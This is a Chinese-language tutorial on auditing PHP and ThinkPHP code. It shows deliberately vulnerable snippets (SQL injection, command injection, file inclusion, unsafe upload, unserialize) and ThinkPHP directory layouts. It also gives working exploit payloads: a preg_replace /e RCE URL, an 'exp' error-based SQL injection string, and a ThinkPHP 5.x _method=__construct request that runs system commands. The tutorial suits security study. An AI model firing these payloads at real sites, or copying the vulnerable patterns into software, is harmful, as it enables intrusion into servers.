PHP与ThinkPHP框架代码审计综合技巧

// 入口文件分析
<?php  
ob_start();  
date_default_timezone_set("Asia/Manila");  
$action = $_GET['action'];            //Get请求action  
include 'admin_class.php';            //引用admin_class.php  
$crud = new Action();  
//省略其他无用代码......  
...  
if($action == 'update_user'){  
$save = $crud->update_user();  
if($save)  
echo$save;  
...

// 入口文件分析
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id"; // 未过滤的用户输入直接拼接到SQL语句中
$result = mysql_query($query);

$name = $_GET['name'];
echo"Welcome, $name!"; // 未过滤的用户输入直接输出到页面

$page = $_GET['page'];
include($page . ".php"); // 未过滤的用户输入直接用于文件包含

$cmd = $_GET['cmd'];
system("ping " . $cmd); // 未过滤的用户输入直接用于命令执行

if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){  
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];  
$move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);  
    // 没有验证文件类型和内容
}

$data = $_COOKIE['data'];
$obj = unserialize($data); // 未过滤的用户输入直接用于反序列化

WEB部署目录（或者子目录）
├─index.php 入口文件
├─README.md README文件
├─Application 应用目录
├─Public资源文件目录
└─ThinkPHP框架目录

WEB部署目录（或者子目录）
├─application           应用目录
│  ├─common             公共模块目录
│  ├─module_name        模块目录
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  │
│  ├─command.php        命令行定义文件
│  ├─common.php         公共函数文件
│  └─config.php         公共配置文件
│
├─public                WEB目录（对外访问目录）
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─thinkphp              框架系统目录
│  ├─lang               语言文件目录
│  ├─library            框架类库目录
│  │  ├─think           Think类库包目录
│  │  └─traits          系统Trait目录
│  │
│  ├─tpl                系统模板目录
│  ├─base.php           基础定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     框架惯例配置文件
│  ├─helper.php         助手函数文件
│  ├─phpunit.xml        phpunit配置文件
│  └─start.php          框架入口文件
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录（可写，可定制）
├─vendor                第三方类库目录（Composer依赖库）
├─build.php             自动生成定义文件
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

http://example.com/index.php/模块/控制器/方法/参数名/参数值****

http://example.com/index.php/模块/控制器/方法/参数名/参数值

$id = I('get.id');  // 获取GET参数id

$id = input('id');  // 获取参数id

$User = M('User');
$result = $User->where('id='.$id)->find();  // 可能存在SQL注入

$result = Db::table('user')->where('id', $id)->find();  // 参数化查询，较安全

// ThinkPHP 5.x模板引擎RCE
$this->assign('name', $name);  // $name可控
$this->display();  // 模板引擎解析时可能导致代码执行

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));

http://127.0.0.1/index.php/a/b/c/${phpinfo()}

$User = M('User');
$result = $User->where(array('id'=>array('exp',$id)))->find();  // $id可控时可能导致SQL注入

id[0]=exp&id[1]=1) AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(user(),0x7e,version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

// ThinkPHP/library/think/Request.php
public function method($method = false)
{
if (true === $method) {
        // 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
    } elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        }
    }
return$this->method;
}

POST /?s=index/index
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=get&get[]=id=whoami